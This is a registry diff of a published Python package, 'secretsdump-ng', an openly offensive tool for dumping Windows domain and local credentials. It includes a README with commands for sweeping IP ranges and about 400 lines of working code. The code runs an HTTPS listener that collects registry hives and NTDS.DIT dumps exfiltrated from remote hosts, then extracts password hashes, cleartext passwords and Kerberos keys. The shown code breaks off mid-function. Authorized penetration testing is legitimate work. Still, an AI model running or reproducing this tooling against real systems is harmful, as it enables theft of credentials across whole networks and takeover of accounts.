secretsdump-ng 1.0.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- secretsdump_ng-1.0.0/LICENSE +7 -0
- secretsdump_ng-1.0.0/PKG-INFO +86 -0
- secretsdump_ng-1.0.0/README.md +58 -0
- secretsdump_ng-1.0.0/pyproject.toml +46 -0
- secretsdump_ng-1.0.0/secretsdump_ng/__init__.py +3 -0
- secretsdump_ng-1.0.0/secretsdump_ng/secretsdump_ng.py +635 -0
- secretsdump_ng-1.0.0/secretsdump_ng.egg-info/PKG-INFO +86 -0
- secretsdump_ng-1.0.0/secretsdump_ng.egg-info/SOURCES.txt +11 -0
- secretsdump_ng-1.0.0/secretsdump_ng.egg-info/dependency_links.txt +1 -0
- secretsdump_ng-1.0.0/secretsdump_ng.egg-info/entry_points.txt +2 -0
- secretsdump_ng-1.0.0/secretsdump_ng.egg-info/requires.txt +5 -0
- secretsdump_ng-1.0.0/secretsdump_ng.egg-info/top_level.txt +1 -0
- secretsdump_ng-1.0.0/setup.cfg +4 -0
|
@@ -0,0 +1,7 @@
|
|
|
1
|
+
Copyright 2026 Khael
|
|
2
|
+
|
|
3
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the “Software”), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
|
|
4
|
+
|
|
5
|
+
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
|
|
6
|
+
|
|
7
|
+
THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
|
|
@@ -0,0 +1,86 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: secretsdump-ng
|
|
3
|
+
Version: 1.0.0
|
|
4
|
+
Summary: Next-generation secretsdump tool using DSInternals for credential extraction
|
|
5
|
+
Author: Khael
|
|
6
|
+
Project-URL: Homepage, https://github.com/KhaelK138/secretsdump-ng
|
|
7
|
+
Project-URL: Repository, https://github.com/KhaelK138/secretsdump-ng
|
|
8
|
+
Project-URL: Issues, https://github.com/KhaelK138/secretsdump-ng/issues
|
|
9
|
+
Keywords: security,pentest,active-directory,credentials,secretsdump,secretsdump-ng
|
|
10
|
+
Classifier: Development Status :: 4 - Beta
|
|
11
|
+
Classifier: Intended Audience :: Information Technology
|
|
12
|
+
Classifier: Intended Audience :: System Administrators
|
|
13
|
+
Classifier: Programming Language :: Python :: 3
|
|
14
|
+
Classifier: Programming Language :: Python :: 3.8
|
|
15
|
+
Classifier: Programming Language :: Python :: 3.9
|
|
16
|
+
Classifier: Programming Language :: Python :: 3.10
|
|
17
|
+
Classifier: Programming Language :: Python :: 3.11
|
|
18
|
+
Classifier: Programming Language :: Python :: 3.12
|
|
19
|
+
Classifier: Topic :: Security
|
|
20
|
+
Requires-Python: >=3.8
|
|
21
|
+
Description-Content-Type: text/markdown
|
|
22
|
+
License-File: LICENSE
|
|
23
|
+
Requires-Dist: impacket>=0.11.0
|
|
24
|
+
Provides-Extra: dev
|
|
25
|
+
Requires-Dist: build; extra == "dev"
|
|
26
|
+
Requires-Dist: twine; extra == "dev"
|
|
27
|
+
Dynamic: license-file
|
|
28
|
+
|
|
29
|
+
# secretsdump-ng
|
|
30
|
+
|
|
31
|
+
Credential dumping tool that uses DSInternals for extracting credentials from Windows systems, using any available command-execution port (rather than relying on 445).
|
|
32
|
+
|
|
33
|
+
Massive props to DSInternals & Impacket; this tool really isn't anything revolutionary and uses the impressive work already completed by Michael Grafnetter and the Fortra team.
|
|
34
|
+
|
|
35
|
+
## Features
|
|
36
|
+
|
|
37
|
+
- **NTDS.DIT extraction** using DSInternals on Domain Controllers
|
|
38
|
+
- **Registry hive dumping** (SAM, SYSTEM, SECURITY) on all Windows systems
|
|
39
|
+
- **Multi-threaded** operations for dumping from multiple hosts
|
|
40
|
+
- **Secure transfer of credentials** via HTTPS
|
|
41
|
+
- **Formatted output** compatible with standard secretsdump format
|
|
42
|
+
- **Filtered extraction** - dump only specific users with `--just-dc-user`
|
|
43
|
+
|
|
44
|
+
## Usage
|
|
45
|
+
|
|
46
|
+
```bash
|
|
47
|
+
# Dump all credentials from a single host
|
|
48
|
+
secretsdump-ng 192.168.1.10 username password
|
|
49
|
+
|
|
50
|
+
# Dump from multiple hosts using IP range
|
|
51
|
+
secretsdump-ng 192.168.1.10-20 username password
|
|
52
|
+
|
|
53
|
+
# Dump only a specific user
|
|
54
|
+
secretsdump-ng 192.168.1.10 username password --just-dc-user administrator
|
|
55
|
+
|
|
56
|
+
# Use more threads for faster scanning
|
|
57
|
+
secretsdump-ng 192.168.1.1-254 username password --threads 20
|
|
58
|
+
|
|
59
|
+
# Verbose output
|
|
60
|
+
secretsdump-ng 192.168.1.10 username password -v
|
|
61
|
+
```
|
|
62
|
+
|
|
63
|
+
## How It Works
|
|
64
|
+
|
|
65
|
+
1. **Sets up HTTPS server** on port 1338 to receive credential dumps
|
|
66
|
+
2. **Executes PowerShell remotely** on target systems using `exec_across_windows.py`
|
|
67
|
+
3. **Extracts registry hives** (SAM, SYSTEM, SECURITY) from all Windows systems
|
|
68
|
+
4. **Extracts NTDS.DIT** using DSInternals on Domain Controllers
|
|
69
|
+
5. **Processes and formats** credentials using impacket-secretsdump
|
|
70
|
+
6. **Saves output** to `./secretsdump_ng_out/[IP]/secretsdump.out`
|
|
71
|
+
|
|
72
|
+
|
|
73
|
+
Admin accounts are highlighted with `(admin)` tag. Machine accounts are sorted to the bottom.
|
|
74
|
+
|
|
75
|
+
## Security Notes
|
|
76
|
+
|
|
77
|
+
- Uses temporary SSL certificates for HTTPS transfers
|
|
78
|
+
- Temporary files on target systems are stored in `$env:TEMP` and cleaned up after extraction
|
|
79
|
+
|
|
80
|
+
## License
|
|
81
|
+
|
|
82
|
+
MIT License - see LICENSE file for details
|
|
83
|
+
|
|
84
|
+
## Disclaimer
|
|
85
|
+
|
|
86
|
+
This tool is intended for authorized security assessments only. Ensure you have proper authorization before using this tool on any systems.
|
|
@@ -0,0 +1,58 @@
|
|
|
1
|
+
# secretsdump-ng
|
|
2
|
+
|
|
3
|
+
Credential dumping tool that uses DSInternals for extracting credentials from Windows systems, using any available command-execution port (rather than relying on 445).
|
|
4
|
+
|
|
5
|
+
Massive props to DSInternals & Impacket; this tool really isn't anything revolutionary and uses the impressive work already completed by Michael Grafnetter and the Fortra team.
|
|
6
|
+
|
|
7
|
+
## Features
|
|
8
|
+
|
|
9
|
+
- **NTDS.DIT extraction** using DSInternals on Domain Controllers
|
|
10
|
+
- **Registry hive dumping** (SAM, SYSTEM, SECURITY) on all Windows systems
|
|
11
|
+
- **Multi-threaded** operations for dumping from multiple hosts
|
|
12
|
+
- **Secure transfer of credentials** via HTTPS
|
|
13
|
+
- **Formatted output** compatible with standard secretsdump format
|
|
14
|
+
- **Filtered extraction** - dump only specific users with `--just-dc-user`
|
|
15
|
+
|
|
16
|
+
## Usage
|
|
17
|
+
|
|
18
|
+
```bash
|
|
19
|
+
# Dump all credentials from a single host
|
|
20
|
+
secretsdump-ng 192.168.1.10 username password
|
|
21
|
+
|
|
22
|
+
# Dump from multiple hosts using IP range
|
|
23
|
+
secretsdump-ng 192.168.1.10-20 username password
|
|
24
|
+
|
|
25
|
+
# Dump only a specific user
|
|
26
|
+
secretsdump-ng 192.168.1.10 username password --just-dc-user administrator
|
|
27
|
+
|
|
28
|
+
# Use more threads for faster scanning
|
|
29
|
+
secretsdump-ng 192.168.1.1-254 username password --threads 20
|
|
30
|
+
|
|
31
|
+
# Verbose output
|
|
32
|
+
secretsdump-ng 192.168.1.10 username password -v
|
|
33
|
+
```
|
|
34
|
+
|
|
35
|
+
## How It Works
|
|
36
|
+
|
|
37
|
+
1. **Sets up HTTPS server** on port 1338 to receive credential dumps
|
|
38
|
+
2. **Executes PowerShell remotely** on target systems using `exec_across_windows.py`
|
|
39
|
+
3. **Extracts registry hives** (SAM, SYSTEM, SECURITY) from all Windows systems
|
|
40
|
+
4. **Extracts NTDS.DIT** using DSInternals on Domain Controllers
|
|
41
|
+
5. **Processes and formats** credentials using impacket-secretsdump
|
|
42
|
+
6. **Saves output** to `./secretsdump_ng_out/[IP]/secretsdump.out`
|
|
43
|
+
|
|
44
|
+
|
|
45
|
+
Admin accounts are highlighted with `(admin)` tag. Machine accounts are sorted to the bottom.
|
|
46
|
+
|
|
47
|
+
## Security Notes
|
|
48
|
+
|
|
49
|
+
- Uses temporary SSL certificates for HTTPS transfers
|
|
50
|
+
- Temporary files on target systems are stored in `$env:TEMP` and cleaned up after extraction
|
|
51
|
+
|
|
52
|
+
## License
|
|
53
|
+
|
|
54
|
+
MIT License - see LICENSE file for details
|
|
55
|
+
|
|
56
|
+
## Disclaimer
|
|
57
|
+
|
|
58
|
+
This tool is intended for authorized security assessments only. Ensure you have proper authorization before using this tool on any systems.
|
|
@@ -0,0 +1,46 @@
|
|
|
1
|
+
[build-system]
|
|
2
|
+
requires = ["setuptools>=61.0", "wheel"]
|
|
3
|
+
build-backend = "setuptools.build_meta"
|
|
4
|
+
|
|
5
|
+
[project]
|
|
6
|
+
name = "secretsdump-ng"
|
|
7
|
+
version = "1.0.0"
|
|
8
|
+
description = "Next-generation secretsdump tool using DSInternals for credential extraction"
|
|
9
|
+
readme = "README.md"
|
|
10
|
+
authors = [
|
|
11
|
+
{name = "Khael"}
|
|
12
|
+
]
|
|
13
|
+
classifiers = [
|
|
14
|
+
"Development Status :: 4 - Beta",
|
|
15
|
+
"Intended Audience :: Information Technology",
|
|
16
|
+
"Intended Audience :: System Administrators",
|
|
17
|
+
"Programming Language :: Python :: 3",
|
|
18
|
+
"Programming Language :: Python :: 3.8",
|
|
19
|
+
"Programming Language :: Python :: 3.9",
|
|
20
|
+
"Programming Language :: Python :: 3.10",
|
|
21
|
+
"Programming Language :: Python :: 3.11",
|
|
22
|
+
"Programming Language :: Python :: 3.12",
|
|
23
|
+
"Topic :: Security"
|
|
24
|
+
]
|
|
25
|
+
keywords = ["security", "pentest", "active-directory", "credentials", "secretsdump", "secretsdump-ng"]
|
|
26
|
+
requires-python = ">=3.8"
|
|
27
|
+
dependencies = [
|
|
28
|
+
"impacket>=0.11.0",
|
|
29
|
+
]
|
|
30
|
+
|
|
31
|
+
[project.optional-dependencies]
|
|
32
|
+
dev = [
|
|
33
|
+
"build",
|
|
34
|
+
"twine",
|
|
35
|
+
]
|
|
36
|
+
|
|
37
|
+
[project.scripts]
|
|
38
|
+
secretsdump-ng = "secretsdump_ng.secretsdump_ng:main_cli"
|
|
39
|
+
|
|
40
|
+
[project.urls]
|
|
41
|
+
Homepage = "https://github.com/KhaelK138/secretsdump-ng"
|
|
42
|
+
Repository = "https://github.com/KhaelK138/secretsdump-ng"
|
|
43
|
+
Issues = "https://github.com/KhaelK138/secretsdump-ng/issues"
|
|
44
|
+
|
|
45
|
+
[tool.setuptools]
|
|
46
|
+
packages = ["secretsdump_ng"]
|
|
@@ -0,0 +1,635 @@
|
|
|
1
|
+
#!/usr/bin/env python3
|
|
2
|
+
import os
|
|
3
|
+
import threading
|
|
4
|
+
import subprocess
|
|
5
|
+
import argparse
|
|
6
|
+
import socket
|
|
7
|
+
import string
|
|
8
|
+
import zipfile
|
|
9
|
+
import shutil
|
|
10
|
+
import sys
|
|
11
|
+
import ssl
|
|
12
|
+
import time
|
|
13
|
+
from http.server import SimpleHTTPRequestHandler, HTTPServer
|
|
14
|
+
from concurrent.futures import ThreadPoolExecutor, as_completed
|
|
15
|
+
|
|
16
|
+
# check exec-across-windows exists
|
|
17
|
+
if not shutil.which("exec-across-windows"):
|
|
18
|
+
print("[!] exec-across-windows not found. Install with: pipx install exec-across-windows")
|
|
19
|
+
|
|
20
|
+
DSINTERNALS_URL = "https://github.com/MichaelGrafnetter/DSInternals/releases/download/v6.2/DSInternals_v6.2.zip"
|
|
21
|
+
DSINTERNALS_ZIP = "DSInternals_v6.2.zip"
|
|
22
|
+
UPLOAD_DIR = "./secretsdump_ng_out/"
|
|
23
|
+
DSINTERNALS_SERVE_DIR = os.path.join(UPLOAD_DIR, "dsinternals_files")
|
|
24
|
+
CERT_FILE = os.path.join(UPLOAD_DIR, "cert.pem")
|
|
25
|
+
KEY_FILE = os.path.join(UPLOAD_DIR, "key.pem")
|
|
26
|
+
|
|
27
|
+
|
|
28
|
+
def parse_ip_range(ip_range):
|
|
29
|
+
"""Parse IP range like 10.0.1-5.1-254 into list of IPs"""
|
|
30
|
+
parts = ip_range.split('.')
|
|
31
|
+
if len(parts) != 4:
|
|
32
|
+
raise SystemExit("Invalid IP range format")
|
|
33
|
+
|
|
34
|
+
def expand(part):
|
|
35
|
+
vals = []
|
|
36
|
+
for section in part.split(','):
|
|
37
|
+
if '-' in section:
|
|
38
|
+
s, e = map(int, section.split('-'))
|
|
39
|
+
vals.extend(range(s, e + 1))
|
|
40
|
+
else:
|
|
41
|
+
vals.append(int(section))
|
|
42
|
+
return vals
|
|
43
|
+
|
|
44
|
+
expanded = [expand(p) for p in parts]
|
|
45
|
+
return [
|
|
46
|
+
f"{a}.{b}.{c}.{d}"
|
|
47
|
+
for a in expanded[0]
|
|
48
|
+
for b in expanded[1]
|
|
49
|
+
for c in expanded[2]
|
|
50
|
+
for d in expanded[3]
|
|
51
|
+
]
|
|
52
|
+
|
|
53
|
+
|
|
54
|
+
def get_host_ip_given_target(target_ip):
|
|
55
|
+
"""Get the local IP address used to reach a target IP"""
|
|
56
|
+
try:
|
|
57
|
+
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
|
58
|
+
s.connect((target_ip, 80))
|
|
59
|
+
local_ip = s.getsockname()[0]
|
|
60
|
+
s.close()
|
|
61
|
+
return local_ip
|
|
62
|
+
except:
|
|
63
|
+
return None
|
|
64
|
+
|
|
65
|
+
|
|
66
|
+
def generate_ssl_cert():
|
|
67
|
+
"""Generate SSL certificate"""
|
|
68
|
+
if os.path.exists(CERT_FILE):
|
|
69
|
+
os.remove(CERT_FILE)
|
|
70
|
+
if os.path.exists(KEY_FILE):
|
|
71
|
+
os.remove(KEY_FILE)
|
|
72
|
+
|
|
73
|
+
print("[*] Generating SSL certificate...")
|
|
74
|
+
cmd = [
|
|
75
|
+
"openssl", "req", "-x509", "-newkey", "rsa:2048",
|
|
76
|
+
"-keyout", KEY_FILE,
|
|
77
|
+
"-out", CERT_FILE,
|
|
78
|
+
"-days", "1", "-nodes",
|
|
79
|
+
"-subj", "/CN=localhost"
|
|
80
|
+
]
|
|
81
|
+
|
|
82
|
+
try:
|
|
83
|
+
subprocess.check_call(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
|
|
84
|
+
print("[*] SSL certificate generated")
|
|
85
|
+
except subprocess.CalledProcessError:
|
|
86
|
+
print("[!] Failed to generate SSL certificate for secure file transfers")
|
|
87
|
+
sys.exit(1)
|
|
88
|
+
|
|
89
|
+
|
|
90
|
+
def parse_ds_file(filepath):
|
|
91
|
+
"""Parse DSInternals dump file and extract credentials"""
|
|
92
|
+
try:
|
|
93
|
+
with open(filepath, 'r', encoding='utf-16-le', errors='ignore') as f:
|
|
94
|
+
content = f.read()
|
|
95
|
+
except:
|
|
96
|
+
with open(filepath, 'r', encoding='utf-8', errors='ignore') as f:
|
|
97
|
+
content = f.read()
|
|
98
|
+
|
|
99
|
+
entries = []
|
|
100
|
+
current_entry = {}
|
|
101
|
+
in_kerberos_new = False
|
|
102
|
+
current_key_type = None
|
|
103
|
+
|
|
104
|
+
for line in content.split('\n'):
|
|
105
|
+
line = line.strip()
|
|
106
|
+
|
|
107
|
+
if not line:
|
|
108
|
+
continue
|
|
109
|
+
|
|
110
|
+
if line.startswith('DistinguishedName:'):
|
|
111
|
+
if current_entry:
|
|
112
|
+
entries.append(current_entry)
|
|
113
|
+
current_entry = {}
|
|
114
|
+
in_kerberos_new = False
|
|
115
|
+
current_key_type = None
|
|
116
|
+
|
|
117
|
+
elif line.startswith('SamAccountName:'):
|
|
118
|
+
current_entry['sam'] = line.split(':', 1)[1].strip()
|
|
119
|
+
|
|
120
|
+
elif line.startswith('Sid:'):
|
|
121
|
+
sid = line.split(':', 1)[1].strip()
|
|
122
|
+
current_entry['rid'] = sid.split('-')[-1]
|
|
123
|
+
|
|
124
|
+
elif line.startswith('AdminCount:'):
|
|
125
|
+
admin_value = line.split(':', 1)[1].strip()
|
|
126
|
+
current_entry['is_admin'] = (admin_value.lower() == 'true')
|
|
127
|
+
|
|
128
|
+
elif line.startswith('NTHash:'):
|
|
129
|
+
nt_hash = line.split(':', 1)[1].strip()
|
|
130
|
+
if nt_hash:
|
|
131
|
+
current_entry['nt'] = nt_hash
|
|
132
|
+
# Default empty LM hash value; same behavior as original secretsdump
|
|
133
|
+
current_entry['lm'] = "aad3b435b51404eeaad3b435b51404ee"
|
|
134
|
+
|
|
135
|
+
elif line.startswith('LMHash:'):
|
|
136
|
+
lm_hash = line.split(':', 1)[1].strip()
|
|
137
|
+
if lm_hash:
|
|
138
|
+
current_entry['lm'] = lm_hash
|
|
139
|
+
|
|
140
|
+
elif line.startswith('ClearText:'):
|
|
141
|
+
cleartext = line.split(':', 1)[1].strip()
|
|
142
|
+
if cleartext and all(ord(c) < 128 and c in string.printable for c in cleartext):
|
|
143
|
+
current_entry['cleartext'] = cleartext
|
|
144
|
+
|
|
145
|
+
elif line == 'KerberosNew:':
|
|
146
|
+
in_kerberos_new = True
|
|
147
|
+
if 'kerberos' not in current_entry:
|
|
148
|
+
current_entry['kerberos'] = {}
|
|
149
|
+
|
|
150
|
+
elif in_kerberos_new:
|
|
151
|
+
if line == 'AES256_CTS_HMAC_SHA1_96':
|
|
152
|
+
current_key_type = 'aes256'
|
|
153
|
+
elif line == 'AES128_CTS_HMAC_SHA1_96':
|
|
154
|
+
current_key_type = 'aes128'
|
|
155
|
+
elif line == 'DES_CBC_MD5':
|
|
156
|
+
current_key_type = 'des'
|
|
157
|
+
elif line.startswith('Key:') and current_key_type:
|
|
158
|
+
key = line.split(':', 1)[1].strip()
|
|
159
|
+
if key:
|
|
160
|
+
current_entry['kerberos'][current_key_type] = key
|
|
161
|
+
elif line in ['OldCredentials:', 'OlderCredentials:', 'ServiceCredentials:']:
|
|
162
|
+
in_kerberos_new = False
|
|
163
|
+
|
|
164
|
+
if current_entry:
|
|
165
|
+
entries.append(current_entry)
|
|
166
|
+
|
|
167
|
+
return entries
|
|
168
|
+
|
|
169
|
+
|
|
170
|
+
def format_ntds_output(entries):
|
|
171
|
+
"""Format NTDS entries in secretsdump style"""
|
|
172
|
+
# Separate machine accounts (ending with $) from user accounts
|
|
173
|
+
user_entries = [e for e in entries if not e.get('sam', '').endswith('$')]
|
|
174
|
+
machine_entries = [e for e in entries if e.get('sam', '').endswith('$')]
|
|
175
|
+
|
|
176
|
+
# Sort users: admins first (alphabetically), then non-admins (alphabetically)
|
|
177
|
+
admin_users = sorted([e for e in user_entries if e.get('is_admin', False)], key=lambda x: x.get('sam', '').lower())
|
|
178
|
+
non_admin_users = sorted([e for e in user_entries if not e.get('is_admin', False)], key=lambda x: x.get('sam', '').lower())
|
|
179
|
+
|
|
180
|
+
# Sort machine accounts alphabetically
|
|
181
|
+
machine_entries = sorted(machine_entries, key=lambda x: x.get('sam', '').lower())
|
|
182
|
+
|
|
183
|
+
# Combine: admin users, non-admin users, then machine accounts
|
|
184
|
+
sorted_entries = admin_users + non_admin_users + machine_entries
|
|
185
|
+
|
|
186
|
+
lines = []
|
|
187
|
+
cleartext_lines = []
|
|
188
|
+
kerberos_lines = []
|
|
189
|
+
|
|
190
|
+
for entry in sorted_entries:
|
|
191
|
+
sam = entry.get('sam', '')
|
|
192
|
+
rid = entry.get('rid', '')
|
|
193
|
+
is_admin = entry.get('is_admin', False)
|
|
194
|
+
admin_tag = '\033[38;5;208m(admin)\033[0m ' if is_admin else ''
|
|
195
|
+
|
|
196
|
+
if not sam or not rid:
|
|
197
|
+
continue
|
|
198
|
+
|
|
199
|
+
nt = entry.get('nt', '')
|
|
200
|
+
lm = entry.get('lm', '')
|
|
201
|
+
|
|
202
|
+
if nt or lm:
|
|
203
|
+
lm_display = lm if lm else ''
|
|
204
|
+
nt_display = nt if nt else ''
|
|
205
|
+
if lm_display or nt_display:
|
|
206
|
+
lines.append(f"{admin_tag}{sam}:{rid}:{lm_display}:{nt_display}:::")
|
|
207
|
+
|
|
208
|
+
if 'cleartext' in entry:
|
|
209
|
+
cleartext_lines.append(f"{admin_tag}{sam}:CLEARTEXT:{entry['cleartext']}")
|
|
210
|
+
|
|
211
|
+
if 'kerberos' in entry and entry['kerberos']:
|
|
212
|
+
kerb = entry['kerberos']
|
|
213
|
+
kerb_parts = [sam]
|
|
214
|
+
if 'aes256' in kerb:
|
|
215
|
+
kerb_parts.append(f"aes256-cts-hmac-sha1-96:{kerb['aes256']}")
|
|
216
|
+
if 'aes128' in kerb:
|
|
217
|
+
kerb_parts.append(f"aes128-cts-hmac-sha1-96:{kerb['aes128']}")
|
|
218
|
+
if 'des' in kerb:
|
|
219
|
+
kerb_parts.append(f"des-cbc-md5:{kerb['des']}")
|
|
220
|
+
if len(kerb_parts) > 1:
|
|
221
|
+
kerberos_lines.append(admin_tag + ':'.join(kerb_parts))
|
|
222
|
+
|
|
223
|
+
output = []
|
|
224
|
+
if lines:
|
|
225
|
+
output.append("[*] Dumping NTDS.DIT secrets")
|
|
226
|
+
output.extend(lines)
|
|
227
|
+
|
|
228
|
+
if cleartext_lines:
|
|
229
|
+
output.append("")
|
|
230
|
+
output.append("[*] ClearText passwords grabbed")
|
|
231
|
+
output.extend(cleartext_lines)
|
|
232
|
+
|
|
233
|
+
if kerberos_lines:
|
|
234
|
+
output.append("")
|
|
235
|
+
output.append("[*] Kerberos keys grabbed")
|
|
236
|
+
output.extend(kerberos_lines)
|
|
237
|
+
|
|
238
|
+
output.append(f"\n[*] Using Impacket's secretsdump to dump from registry hives...")
|
|
239
|
+
|
|
240
|
+
return '\n'.join(output) if output else ''
|
|
241
|
+
|
|
242
|
+
|
|
243
|
+
def filter_secretsdump_output(output, just_dc_user):
|
|
244
|
+
"""Filter secretsdump output to only include specified user"""
|
|
245
|
+
if not just_dc_user:
|
|
246
|
+
return output
|
|
247
|
+
|
|
248
|
+
lines = output.split('\n')
|
|
249
|
+
filtered_lines = []
|
|
250
|
+
in_relevant_section = False
|
|
251
|
+
found_user = False
|
|
252
|
+
|
|
253
|
+
for line in lines:
|
|
254
|
+
# Keep header lines
|
|
255
|
+
if line.startswith('[*]'):
|
|
256
|
+
filtered_lines.append(line)
|
|
257
|
+
in_relevant_section = True
|
|
258
|
+
continue
|
|
259
|
+
|
|
260
|
+
# Empty lines reset section tracking
|
|
261
|
+
if not line.strip():
|
|
262
|
+
if found_user:
|
|
263
|
+
filtered_lines.append(line)
|
|
264
|
+
in_relevant_section = False
|
|
265
|
+
continue
|
|
266
|
+
|
|
267
|
+
# Check if this line contains the target user
|
|
268
|
+
if in_relevant_section and ':' in line:
|
|
269
|
+
username = line.split(':')[0]
|
|
270
|
+
if just_dc_user.lower() in username.lower():
|
|
271
|
+
filtered_lines.append(line)
|
|
272
|
+
found_user = True
|
|
273
|
+
|
|
274
|
+
if found_user:
|
|
275
|
+
return '\n'.join(filtered_lines)
|
|
276
|
+
else:
|
|
277
|
+
return f"\033[33m[!] Secretsdump succeeded, but found no matching user: {just_dc_user}.\033[0m"
|
|
278
|
+
|
|
279
|
+
|
|
280
|
+
def process_registry_hives(zip_path, ip, just_dc_user=None):
|
|
281
|
+
"""Extract registry hives and run impacket-secretsdump"""
|
|
282
|
+
try:
|
|
283
|
+
extract_dir = os.path.join(UPLOAD_DIR, ip)
|
|
284
|
+
os.makedirs(extract_dir, exist_ok=True)
|
|
285
|
+
|
|
286
|
+
# Print immediately when we receive the hives
|
|
287
|
+
sys.stderr.write(f"\033[32m[+]\033[0m Registry hives received from {ip}\n")
|
|
288
|
+
sys.stderr.flush()
|
|
289
|
+
|
|
290
|
+
with zipfile.ZipFile(zip_path, 'r') as zip_ref:
|
|
291
|
+
zip_ref.extractall(extract_dir)
|
|
292
|
+
|
|
293
|
+
sam_path = os.path.join(extract_dir, 'SAM')
|
|
294
|
+
system_path = os.path.join(extract_dir, 'SYSTEM')
|
|
295
|
+
security_path = os.path.join(extract_dir, 'SECURITY')
|
|
296
|
+
|
|
297
|
+
sd_cmd = "secretsdump.py"
|
|
298
|
+
if shutil.which("impacket-secretsdump"):
|
|
299
|
+
sd_cmd = "impacket-secretsdump"
|
|
300
|
+
elif shutil.which("secretsdump.py"):
|
|
301
|
+
sd_cmd = "secretsdump.py"
|
|
302
|
+
else:
|
|
303
|
+
sys.stderr.write("[-] impacket not found, cannot secretsdump from downloaded hives. Install with: pipx install impacket\n")
|
|
304
|
+
sys.stderr.flush()
|
|
305
|
+
sys.exit(1)
|
|
306
|
+
|
|
307
|
+
sys.stderr.flush()
|
|
308
|
+
|
|
309
|
+
cmd = [
|
|
310
|
+
sd_cmd,
|
|
311
|
+
'-sam', sam_path,
|
|
312
|
+
'-system', system_path,
|
|
313
|
+
'-security', security_path,
|
|
314
|
+
'LOCAL'
|
|
315
|
+
]
|
|
316
|
+
|
|
317
|
+
result = subprocess.run(cmd, capture_output=True, text=True)
|
|
318
|
+
os.remove(zip_path)
|
|
319
|
+
|
|
320
|
+
# Filter output if just_dc_user is specified
|
|
321
|
+
output = filter_secretsdump_output(result.stdout, just_dc_user)
|
|
322
|
+
|
|
323
|
+
return output
|
|
324
|
+
|
|
325
|
+
except Exception as e:
|
|
326
|
+
sys.stderr.write(f"[!] Error processing registry hives for {ip}: {e}\n")
|
|
327
|
+
sys.stderr.flush()
|
|
328
|
+
return ''
|
|
329
|
+
|
|
330
|
+
|
|
331
|
+
def finalize_output(ip, run_start_time):
|
|
332
|
+
"""Combine NTDS dump (if exists) with secretsdump output"""
|
|
333
|
+
extract_dir = os.path.join(UPLOAD_DIR, ip)
|
|
334
|
+
ntds_file = os.path.join(extract_dir, f'ntds_{ip}.out')
|
|
335
|
+
final_output = os.path.join(extract_dir, f'secretsdump.out')
|
|
336
|
+
|
|
337
|
+
output_parts = []
|
|
338
|
+
|
|
339
|
+
# Check for NTDS dump
|
|
340
|
+
if os.path.exists(ntds_file) and os.path.getmtime(ntds_file) > run_start_time:
|
|
341
|
+
entries = parse_ds_file(ntds_file)
|
|
342
|
+
ntds_output = format_ntds_output(entries)
|
|
343
|
+
if ntds_output:
|
|
344
|
+
output_parts.append(ntds_output)
|
|
345
|
+
os.remove(ntds_file)
|
|
346
|
+
sys.stderr.write(f"\033[32m[+]\033[0m NTDS dump received from {ip}\n")
|
|
347
|
+
threading.Event().wait(1)
|
|
348
|
+
sys.stderr.flush()
|
|
349
|
+
|
|
350
|
+
# Check for secretsdump output
|
|
351
|
+
hives_output_file = os.path.join(extract_dir, 'secretsdump_output.txt')
|
|
352
|
+
if os.path.exists(hives_output_file) and os.path.getmtime(hives_output_file) > run_start_time:
|
|
353
|
+
with open(hives_output_file, 'r') as f:
|
|
354
|
+
hives_output = f.read().strip()
|
|
355
|
+
if hives_output:
|
|
356
|
+
if output_parts:
|
|
357
|
+
output_parts.append('')
|
|
358
|
+
output_parts.append(hives_output)
|
|
359
|
+
os.remove(hives_output_file)
|
|
360
|
+
|
|
361
|
+
# Write final output
|
|
362
|
+
if output_parts:
|
|
363
|
+
final_content = '\n'.join(output_parts)
|
|
364
|
+
|
|
365
|
+
# Write output (full dump always overwrites, single-user only if file doesn't exist)
|
|
366
|
+
with open(final_output, 'w') as f:
|
|
367
|
+
f.write(final_content)
|
|
368
|
+
sys.stderr.write(f"\033[32m[+]\033[0m Credentials saved to: {final_output}\n")
|
|
369
|
+
sys.stderr.flush()
|
|
370
|
+
return final_content
|
|
371
|
+
|
|
372
|
+
return None
|
|
373
|
+
|
|
374
|
+
|
|
375
|
+
class FileUploadHTTPRequestHandler(SimpleHTTPRequestHandler):
|
|
376
|
+
"""HTTPS handler for receiving credential dumps"""
|
|
377
|
+
|
|
378
|
+
def __init__(self, *args, **kwargs):
|
|
379
|
+
super().__init__(*args, directory=DSINTERNALS_SERVE_DIR, **kwargs)
|
|
380
|
+
|
|
381
|
+
def do_POST(self):
|
|
382
|
+
os.makedirs(UPLOAD_DIR, exist_ok=True)
|
|
383
|
+
|
|
384
|
+
try:
|
|
385
|
+
content_length = int(self.headers.get('Content-Length', 0))
|
|
386
|
+
data = self.rfile.read(content_length)
|
|
387
|
+
|
|
388
|
+
filename = self.headers.get('filename', 'upload.bin')
|
|
389
|
+
filename = os.path.basename(filename)
|
|
390
|
+
|
|
391
|
+
if filename.startswith('hives_'):
|
|
392
|
+
ip = filename.replace('hives_', '').replace('.zip', '')
|
|
393
|
+
extract_dir = os.path.join(UPLOAD_DIR, ip)
|
|
394
|
+
os.makedirs(extract_dir, exist_ok=True)
|
|
395
|
+
zip_path = os.path.join(extract_dir, filename)
|
|
396
|
+
|
|
397
|
+
with open(zip_path, 'wb') as f:
|
|
398
|
+
f.write(data)
|
|
399
|
+
|
|
